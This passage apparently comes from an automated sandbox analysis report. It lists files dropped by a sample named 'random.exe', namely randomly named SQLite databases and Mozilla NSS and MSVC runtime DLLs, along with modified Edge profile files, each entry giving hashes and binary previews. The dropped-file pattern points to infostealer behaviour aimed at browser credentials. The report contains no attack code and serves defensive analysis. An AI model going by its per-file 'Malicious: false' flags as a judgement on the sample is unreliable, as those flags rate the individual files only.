SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAFBGIDHCBFHIECFCBG

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBKJDBAAKJDGCBFHCFCGIEBFBA

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFIJJEB

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGIJDBAFCBAAKECGDGCBKFIDG

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDBAKEHDHDGCAKKJJE

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Anv6Gbh51e.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: 0vsAIy0DhJ.exe, Detection: malicious, Browse Filename: YiDSeLPwIg.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.26918.12600.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse Filename: px4Y74kUj2.exe, Detection: malicious, Browse Filename: Q66K8mu6TN.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\random.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\82971b28-c10a-4be9-9c9b-8272bede70dd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44925
Entropy (8bit):	6.095096706989203
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfZi1zNtW9RPZ9j3D3RhDznKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynKBNKtSmd6qE7lFoC
MD5:	1A78B5A96DACE853418876A1D2BEA074
SHA1:	26D96CFC29C36C96369CE4C2563EF0449388AE9F
SHA-256:	8BDF6A59BD0363627A2B6D29735D7D56FD2B4FED2D309E13B60B8D0E16624671
SHA-512:	42A4363078BB43100904065924A2AE87B8256BAE868A9DB19C2A9A39AD66309153EF14A264B91FCCFA8660960697D0974D0E01492BE547DB426264CC62104238
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67C32189-1C98.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04666255293965269
Encrypted:	false
SSDEEP:	192:qFcd0m5tmnpnOAt6YGJgA8x5XSggykHzhGTNE0I3/ERQcpN4BUjbQWn8y08Tcm2D:KA0UtGpsgk5hgEYj4yjR08T2RGOD
MD5:	040BA264AF3A99455BE9219193338C95
SHA1:	38EFD183573165CFAAF89954801CED826479FB59
SHA-256:	866BD2A78A0157F6A671E33B60117A4770F771B6653EA12B382C341D92204979
SHA-512:	4A574CCF0D4745F7E7FF953A98613E52E65E0E17DC549DFA693E7E8648CCD43CF72D3655B3DE2E391E2CEC9646FA7B48110B2229094E7E7011365A41E2402C7D
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".uocaln20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786393096571
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynTfkzItSmd6qE7lFoC
MD5:	AD52EA520D6F86048BD9C9053429997A
SHA1:	2EE1FB4F4E1B5EF820AFE73E9F1553F4E061D1F8
SHA-256:	4182076F4683BD5F9A03F7E29E59E59CD7B580314E413AC00D15C15209689AC5
SHA-512:	B1D5C329CC0614DA0588B4A8424D889C96F24C1DEF6DAD1E990A19A6AB0B95CAE67D95EB81B5F4C40889185A5B26166FB14AA8D0A676F05C89B3F992D159206C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38aeb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786393096571
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynTfkzItSmd6qE7lFoC
MD5:	AD52EA520D6F86048BD9C9053429997A
SHA1:	2EE1FB4F4E1B5EF820AFE73E9F1553F4E061D1F8
SHA-256:	4182076F4683BD5F9A03F7E29E59E59CD7B580314E413AC00D15C15209689AC5
SHA-512:	B1D5C329CC0614DA0588B4A8424D889C96F24C1DEF6DAD1E990A19A6AB0B95CAE67D95EB81B5F4C40889185A5B26166FB14AA8D0A676F05C89B3F992D159206C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38afb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786393096571
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynTfkzItSmd6qE7lFoC
MD5:	AD52EA520D6F86048BD9C9053429997A
SHA1:	2EE1FB4F4E1B5EF820AFE73E9F1553F4E061D1F8
SHA-256:	4182076F4683BD5F9A03F7E29E59E59CD7B580314E413AC00D15C15209689AC5
SHA-512:	B1D5C329CC0614DA0588B4A8424D889C96F24C1DEF6DAD1E990A19A6AB0B95CAE67D95EB81B5F4C40889185A5B26166FB14AA8D0A676F05C89B3F992D159206C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF394cf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786393096571
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWJdi1zNtPMokzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynTfkzItSmd6qE7lFoC
MD5:	AD52EA520D6F86048BD9C9053429997A
SHA1:	2EE1FB4F4E1B5EF820AFE73E9F1553F4E061D1F8
SHA-256:	4182076F4683BD5F9A03F7E29E59E59CD7B580314E413AC00D15C15209689AC5
SHA-512:	B1D5C329CC0614DA0588B4A8424D889C96F24C1DEF6DAD1E990A19A6AB0B95CAE67D95EB81B5F4C40889185A5B26166FB14AA8D0A676F05C89B3F992D159206C
Malicious:	false
